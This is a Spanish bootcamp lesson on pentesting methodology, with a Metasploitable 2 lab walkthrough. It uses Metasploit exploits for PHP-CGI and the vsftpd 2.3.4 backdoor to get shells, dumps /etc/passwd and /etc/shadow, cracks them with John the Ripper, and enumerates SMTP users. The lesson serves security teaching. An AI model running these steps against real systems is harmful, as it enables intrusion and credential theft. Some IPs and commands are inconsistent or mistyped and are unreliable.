A tu propio ritmo

Explora nuestra extensa colección de cursos diseñados para ayudarte a dominar varios temas y habilidades. Ya seas un principiante o un aprendiz avanzado, aquí hay algo para todos.

Bootcamp

Aprende en vivo

Únete a nosotros en nuestros talleres gratuitos, webinars y otros eventos para aprender más sobre nuestros programas y comenzar tu camino para convertirte en desarrollador.

Próximos eventos en vivo

Catálogo de contenidos

Para los geeks autodidactas, este es nuestro extenso catálogo de contenido con todos los materiales y tutoriales que hemos desarrollado hasta el día de hoy.

Tiene sentido comenzar a aprender leyendo y viendo videos sobre los fundamentos y cómo funcionan las cosas.

Buscar en lecciones


← Regresar a lecciones

Detección y explotación de vulnerabilidades en Pentesting

Identificación y explotación de vulnerabilidades conocidas

La identificación y explotación de vulnerabilidades conocidas es una fase crítica en las pruebas de penetración, y se lleva a cabo después de recopilar información sobre el objetivo y de identificar posibles debilidades en los sistemas y servicios. Aquí se describen pasos generales y algunas técnicas comunes utilizadas en esta fase:

  • Base de Datos de Vulnerabilidades: Utilizar bases de datos de vulnerabilidades, como el NIST National Vulnerability Database (NVD) o el Common Vulnerabilities and Exposures (CVE), para identificar vulnerabilidades conocidas.
  • Escaneo de Vulnerabilidades: Utilizar herramientas automatizadas como Nessus, OpenVAS, o Nexpose para realizar escaneos de vulnerabilidades en los sistemas y servicios objetivo.
  • Análisis de Resultados: Revisar los informes generados por las herramientas de escaneo de vulnerabilidades para identificar las debilidades detectadas y evaluar su criticidad.
  • Priorización de Vulnerabilidades: Clasificar las vulnerabilidades identificadas según su gravedad y su impacto potencial en la seguridad del sistema.
  • Validación Manual: Validar manualmente las vulnerabilidades identificadas para confirmar su existencia y evaluar la posibilidad de explotación.
  • Explotación Controlada: En caso de contar con autorización explícita, realizar pruebas de explotación controlada para verificar la efectividad de las vulnerabilidades identificadas.
  • Documentación de Hallazgos: Documentar de manera detallada todas las vulnerabilidades identificadas, incluyendo información sobre su naturaleza, impacto y recomendaciones para la mitigación.

Es importante llevar a cabo estas actividades dentro del alcance ético y legal de la prueba, obteniendo siempre el consentimiento del propietario del sistema o red. Además, la comunicación transparente de los hallazgos es crucial para facilitar la mitigación y mejorar la seguridad del entorno evaluado.

Exploitation of vulnerabilities

Tipos de explotación de vulnerabilidades

Existen muchos tipos de explotación de vulnerabilidades:

  1. Vulnerabilidades de aplicación: Estas vulnerabilidades están relacionadas con los errores de programación en la aplicación. Esto puede permitir que un atacante explote el código vulnerable para comprometer la seguridad de la misma. Estas vulnerabilidades generalmente se encuentran en el lado del cliente, como sitios web, aplicaciones móviles, aplicaciones de escritorio y aplicaciones de servidor.

  2. Vulnerabilidades de red: Estas vulnerabilidades se encuentran en el nivel de red debido a la mala configuración de los firewalls, protocolos y servicios en la infraestructura. Esto puede permitir que un atacante explote la red para obtener acceso no autorizado.

  3. Vulnerabilidades de servidor: Estas vulnerabilidades se encuentran en los servidores y están relacionadas con la mala configuración de los servidores. Esto puede permitir que un atacante explote el servidor para obtener acceso no autorizado.

  4. Vulnerabilidades de software: Estas vulnerabilidades se encuentran en el software instalado en el sistema. Esto puede permitir que un atacante explote las vulnerabilidades del mismo para obtener acceso no autorizado.

  5. Vulnerabilidades de hardware: Estas vulnerabilidades se encuentran en el hardware de la computadora. Esto puede permitir que un atacante explote el hardware para obtener acceso no autorizado.

Recomendaciones importantes

Es importante entender cómo combatir estos tipos de explotación de vulnerabilidades. Aquí te dejamos algunas recomendaciones:

  • Implementar controles de seguridad efectivos, como firewalls, antivirus, antispam y herramientas de filtrado de contenido.
  • Monitorear los sistemas de forma continua para detectar y responder a los intentos de explotación de vulnerabilidades.
  • Asegurarse de que todos los sistemas estén actualizados y las vulnerabilidades sean mitigadas de forma adecuada.
  • Utilizar una solución de seguridad que se centre en la prevención, incluso si se detectan intentos de explotación.
  • Realizar pruebas de Hacking Ético o Ethical Hacking periódicas para detectar vulnerabilidades o fallos de seguridad.
  • Utilizar soluciones de seguridad basadas en la nube para mejorar la seguridad y la gestión de los sistemas.
  • Proporcionar educación y capacitación a los usuarios finales para reducir los riesgos de explotación de vulnerabilidades.

La mejor manera de protegerse de la explotación de vulnerabilidades es mediante la implementación de buenas prácticas de seguridad y la adopción de soluciones de seguridad eficaces. Por lo tanto, es importante tomar medidas cómo las anteriores para protegerse de un ciberataque.

Uso de exploits y herramientas automatizadas

El uso de exploits y herramientas automatizadas es una parte esencial de las pruebas de penetración, pero debe llevarse a cabo con responsabilidad y ética. Aquí se describen las consideraciones y pasos generales para el uso de exploits y herramientas automatizadas en el contexto de una evaluación de seguridad:

  • Consentimiento del Propietario: Obtener el consentimiento explícito del propietario del sistema o red antes de utilizar exploits o realizar pruebas de penetración.
  • Entendimiento del Alcance: Clarificar y entender claramente el alcance de la prueba, incluyendo los sistemas y servicios específicos que están autorizados para ser evaluados.
  • Documentación Detallada: Documentar de manera detallada cada acción realizada, incluyendo el uso de exploits y herramientas automatizadas, junto con sus resultados.
  • Mitigación de Riesgos: Evaluar y mitigar cualquier riesgo potencial asociado con el uso de exploits, asegurándose de no causar daño irreparable.
  • Priorización de Vulnerabilidades: Priorizar el uso de exploits en función de la gravedad y el impacto potencial de las vulnerabilidades identificadas.

Paso a paso

  • Identificación de Vulnerabilidades: Utilizar herramientas de escaneo y análisis para identificar vulnerabilidades en sistemas y servicios.
  • Selección de Exploits: Seleccionar exploits específicos que sean relevantes para las vulnerabilidades identificadas.
  • Pruebas Controladas: Realizar pruebas de penetración controladas utilizando exploits, asegurándose de no causar daño no autorizado.
  • Validación Manual: Validar manualmente la existencia de las vulnerabilidades y la efectividad de los exploits utilizados.
  • Documentación de Resultados: Documentar los resultados de las pruebas, incluyendo detalles sobre la explotación exitosa o cualquier problema encontrado.
  • Comunicación Transparente: Comunicar de manera transparente con el cliente o el propietario del sistema sobre las acciones realizadas, los resultados obtenidos y las recomendaciones de mitigación.

Herramientas Comunes para Uso de Exploits y Automatización

  • Metasploit: Marco de desarrollo de pruebas de penetración con una amplia variedad de módulos de exploits.

Uso: Pruebas controladas de explotación para validar vulnerabilidades.

  • ExploitDB: Base de datos de exploits y técnicas de penetración.

Uso: Búsqueda y selección de exploits específicos.

  • AutoSploit: Herramienta de automatización que selecciona exploits de manera automática.

Uso: Pruebas automatizadas de vulnerabilidades.

  • Armitage: Interfaz gráfica para Metasploit con funciones de automatización.

Uso: Facilita la gestión y ejecución de exploits.

Pruebas de penetración en servicios comunes (por ejemplo, HTTP, FTP)

Las pruebas de penetración en servicios como HTTP, FTP, SSH, TELNET son esenciales para evaluar la seguridad de un sistema. A continuación, se describen algunos pasos generales y técnicas comunes utilizadas en este tipo de pruebas utilizaremos Metasploit y Metasploitable:

HTTP (Servidor Web):

  • Escaneo de Puertos: Utilizar herramientas como Nmap para identificar servicios activos, incluyendo HTTP en el puerto 80 y HTTPS en el puerto 443.
  • Análisis de Tecnologías Web: Utilizar herramientas como Wappalyzer o BuiltWith para identificar las tecnologías y plataformas web utilizadas en el servidor.
  • Enumeración de Directorios y Archivos: Utilizar herramientas como dirb, dirbuster o gobuster para enumerar directorios y archivos en el servidor web.
  • Escaneo de Vulnerabilidades Web: Utilizar herramientas como Nikto o OWASP ZAP para realizar escaneos de vulnerabilidades en la aplicación web.
  • Explotación de Vulnerabilidades Conocidas: Si se encuentran vulnerabilidades conocidas, utilizar exploits apropiados para verificar la explotación controlada.
  • Inyección de SQL y XSS: Probar la seguridad contra inyecciones SQL y ataques de scripting entre sitios (XSS) utilizando herramientas como SQLMap o Burp Suite.

El puerto 80 es el puerto predeterminado para los servicios http (páginas web). En un análisis anterior determinamos que el puerto 80 está abierto. Ahora es el momento de determinar qué se ejecuta detrás de ese puerto.

Buscamos cual es la IP. En este caso es 192.168.1.49.

IP caso

Primero haz un escaneo de Nmap:

1Db_nmap -sV 192.168.1.49 -p 80

Db_nmap

Es Apache ejecutándose en Ubuntu. Intentemos recopilar más información con un escáner auxiliar:

1use auxiliary/scanner/http/http_version 2 3show options

Db_nmap

1set RHOST 192.168.1.49 2 3run

RHOST

Es Apache 2.2.8 con PHP 5.2.4. Podemos navegar hasta 'http://192.168.231.109/phpinfo.php' y confirmar la información ya recopilada:

Apache

Probemos otros módulos http para obtener más información sobre nuestro servidor:

dir_listing determinará si el listado de directorios está habilitado:

1use auxiliary/scanner/http/dir_listing 2 3show options

Show options

1set RHOST 192.168.1.49 2 3run

Run

Sin suerte. dir_scanner buscará directorios interesantes:

1use auxiliary/scanner/http/dir_scanner 2 3show options 4 5set RHOST 192.168.1.49 6 7run

Run Set

Tenemos 6 directorios. Revisar su contenido podría darnos una ventaja para hackear nuestro objetivo. Probemos con otro módulo, files_dir:

1use auxiliary/scanner/http/files_dir 2 3show options 4 5set RHOST 192.168.1.49 6 7run

Run RHOST

Una vez más, estos resultados podrían marcar la diferencia y deberíamos echarles un vistazo. Otro módulo de interés id options, robots_txt y verb_auth_bypass:

1use auxiliary/scanner/http/verb_auth_bypass 2 3show options 4 5set RHOST 192.168.1.49 6 7run

Run proxies

Y muchos módulos más que te invito a probar.

Hagamos uso de la información que recopilamos.Busquemos en exploitDB Apache con la versión de PHP:

1$ searchsploit apache | grep 5.4.2

Apache1

Se encontró ejecución remota de código CGI. Explotémoslo:

1use exploit/multi/http/php_cgi_arg_injection* 2 3set RHOST 192.168.1.49 4 5run

Run Exploit

¡¡Tenemos un shell meterpreter!! ¡¡¡Happy hacking!!!

El puerto 80 es una buena fuente de información y aprovecha como cualquier otro puerto. Volveremos a este puerto para las aplicaciones web instaladas. En este artículo obtuvimos información sobre los servicios en ejecución y encontramos un exploit que nos proporcionó un shell.

FTP (Protocolo de Transferencia de Archivos)

  • Escaneo de Puertos: Utilizar herramientas como Nmap para identificar servicios activos, incluyendo FTP en el puerto 21.
  • Enumeración de Usuarios Anónimos: Verificar si el servidor FTP permite conexiones anónimas y si ofrece acceso a información sensible.
  • Intentos de Acceso No Autorizado: Intentar acceder al servidor FTP con credenciales débiles o por defecto para evaluar la seguridad de autenticación.
  • Escaneo de Directorios: Utilizar herramientas como Nmap o dirb para escanear directorios en el servidor FTP.
  • Transferencia de Archivos: Subir y descargar archivos para evaluar la integridad del control de acceso y la seguridad del sistema.
  • Explotación de Vulnerabilidades Conocidas: Si se encuentran vulnerabilidades conocidas en el servidor FTP, utilizar exploits apropiados para verificar la explotación controlada.

Escaneo y ataque del puerto 21 con Metasploitable 2

Comprobemos el estado de la base de datos, creemos nuestro espacio de trabajo y configuremos nuestros RHOSTS globales, para no ingresarlos en cada intento:

Escaneo y Ataque

Comenzaremos con el puerto 21, el puerto predeterminado de ftp.

Dentro del marco de metasploit, ejecutaremos un análisis del servicio nmap dirigido al puerto 21:

1db_nmap -p 21 192.168.231.109 -A -sV -sC

MSF también dispone de un módulo auxiliar para ftp:

1use auxiliary/scanner/ftp/ftp_version 2 3run

auxiliary

Veamos los resultados de nuestro escaneo de puertos:

resultado Puertos

Disponemos de un Servidor FTP, concretamente vsFTP 2.3.4. correr. Hagamos una búsqueda en exploitDB a través de searchploit:

1$ searchsploit vsftp

Como podemos ver, existe un exploit de ejecución de comandos de puerta trasera para nuestra versión de vsftp. Volvamos a MSF, busquemos el exploit, carguemoslo, veamos su información y ejecútelo:

1grep vsftp search exploits

grep vsftp

1use exploit/unix/ftp/vsftp_234_backdoor 2 3show info

show info

run

run3

Y ahora tenemos un shell en la sesión 2. Podemos enviarlo al fondo (^Z), enumerar las sesiones abiertas (sesiones -l) e interactuar (sesiones 2).

Sesiones

Intentaremos extraer usuarios y contraseñas del objetivo utilizando el módulo hashdump. Ponga la sesión en segundo plano y seleccione el módulo:

Hashdump

1use post/linux/gather/hashdump 2 3show options 4 5set SESSION 2 6 7show info 8 9run

Ahora usa el comando loot para ver los resultados hasta el momento:

loot

loot

Pudimos obtener los archivos passwd, shadow y unshadow.

Abra otra terminal para que John el Destripador los abra:

$ john .msf4/loot/20190402110303_metasploitable2_192.168.231.109_linux.hashes_935091.txt

Para ver los resultados utilice la opción --show:

show

Escaneamos el puerto 21 y determinamos que una versión vulnerable estaba ejecutando el servicio FTP. Usando MSF pudimos:

  • Crear una sesión remota.
  • Obtener los archivos /etc/passwd y /etc/shadow.
  • Obtener credenciales de acceso usando John the Ripper.

Puerto 25 SMTP (Simple Mail Transfer Protocol)

Las pruebas de penetración en SMTP (Simple Mail Transfer Protocol) son esenciales para evaluar la seguridad de los servidores de correo electrónico. A continuación, se describen las fases clave de las pruebas de penetración en SMTP:

  • Reconocimiento:
    • Identificación del servidor SMTP: Determina las direcciones IP y los nombres de dominio asociados con el servidor de correo electrónico objetivo.
    • Enumeración de usuarios: Recopila información sobre usuarios válidos, lo que podría facilitar ataques de fuerza bruta o de diccionario.
  • Análisis de Configuración:
    • Verificación de restricciones de acceso: Evalúa las políticas de acceso, como las restricciones basadas en direcciones IP.
    • Validación de filtrado de contenido: Asegura que el servidor filtre contenido malicioso y maneje adecuadamente los archivos adjuntos.
  • Ataques de Fuerza Bruta: Realiza intentos de inicio de sesión con contraseñas comunes o débiles para evaluar la resistencia del sistema.
  • Verificación de Autenticación: Confirma que las políticas de autenticación, como STARTTLS, se implementan de manera segura.
  • Pruebas de Relay Abierto: Comprueba si el servidor permite el reenvío de correos electrónicos sin autenticación, lo cual puede ser explotado por atacantes.
  • Ataques de Inyección de Correo Electrónico: Evalúa la capacidad del servidor para resistir ataques de manipulación de encabezados de correo electrónico.
  • Inyección de contenido: Verifica la resistencia a la inyección de contenido malicioso en el cuerpo del correo electrónico.
  • Exploración de Vulnerabilidades: Identifica posibles servicios relacionados con el correo electrónico que podrían tener vulnerabilidades.
  • Pruebas contra servidores web asociados: Evalúa la seguridad de aplicaciones web relacionadas con el correo electrónico.
  • Análisis de Reglas Antispam: Intenta enviar correos electrónicos maliciosos sin ser detectado por los filtros antispam.
  • Retención y eliminación de mensajes: Verifica si el servidor sigue las políticas de retención y eliminación de mensajes.
  • Documentación detallada: Proporciona informes detallados de las vulnerabilidades encontradas, junto con recomendaciones para su mitigación.
  • Pruebas de penetración en SMTP: Son fundamentales para garantizar la integridad y la seguridad de las comunicaciones por correo electrónico en una organización.

Escaneo y ataque del puerto 25 con Metasploitable 2

Nuestra primera tarea es determinar qué software y versión se ejecuta detrás del puerto 25. Usemos nmap:

1db_nmap -p 25 -sC -sV -A 192.168.231.109

db_nmap

1use auxiliary/scanner/smtp/smtp_version

Después de ejecutar el módulo, aquí están los resultados:

smtp_version

Como hicimos en la parte II, busquemos en exploitDB, google, etc.

MSF tiene un módulo de enumeración de usuarios para SMTP.

1use auxiliary/scanner/smtp/smtp_enum 2 3run

SMTP

El módulo pudo extraer una lista de usuarios. Ahora podemos intentar entrar por la fuerza bruta con estos usuarios.

Comandos SMTP 25

SMTP significa Protocolo simple de transporte de correo y es un protocolo de servidor a servidor y mantiene una base de datos local de usuarios a los que debe enviar y recibir correos electrónicos.

SMTP tiene un conjunto de comandos (véalos aquí). Nos conectaremos a nuestro objetivo a través del puerto 25 e intentaremos adquirir los correos electrónicos de esta base de datos. Abra una nueva terminal y escriba:*

1$ nc 192.168.231.109 25

Ya estamos dentro. Usemos el comando VRFY para enumerar los usuarios:

1VRFY user

VRFY

En lugar de hacer esto a mano, usemos una herramienta de nuestro cinturón de herramientas: smtp-user-enum.

smtp-user-enum

Ejecutando la opción -h podemos ver el uso. Usaremos una lista de palabras de Kali:

1$ smpt-users-enum -M VRFY -U /usr/share/wordlist/fern-wifi -t 192.168.231.109

wordlist

Hemos escaneado el puerto 25 (SMTP). Después de obtener más información sobre el servicio, decidimos intentar enumerar los usuarios existentes, lo que hicimos primero con el marco metasploit y luego con la herramienta smtp-users-enum.

Consideraciones Generales:

  • Consentimiento del Propietario: Obtener el consentimiento explícito del propietario del sistema antes de realizar pruebas de penetración.
  • Uso de Herramientas Especializadas: Utilizar herramientas especializadas, como Hydra para SSH y Telnet, o CrackMapExec para SMB y RDP, para realizar pruebas controladas.
  • Documentación Detallada: Documentar cada acción realizada, incluyendo hallazgos, exploits utilizados y resultados obtenidos.
  • Comunicación Transparente: Comunicar de manera transparente con el cliente o el propietario del sistema sobre las acciones realizadas y los resultados obtenidos.
  • Seguimiento Ético y Legal: Realizar todas las actividades dentro de los límites éticos y legales, evitando cualquier daño no autorizado.

Es esencial llevar a cabo estas actividades de manera ética y responsable, garantizando siempre el consentimiento del propietario del sistema y respetando las leyes y regulaciones aplicables.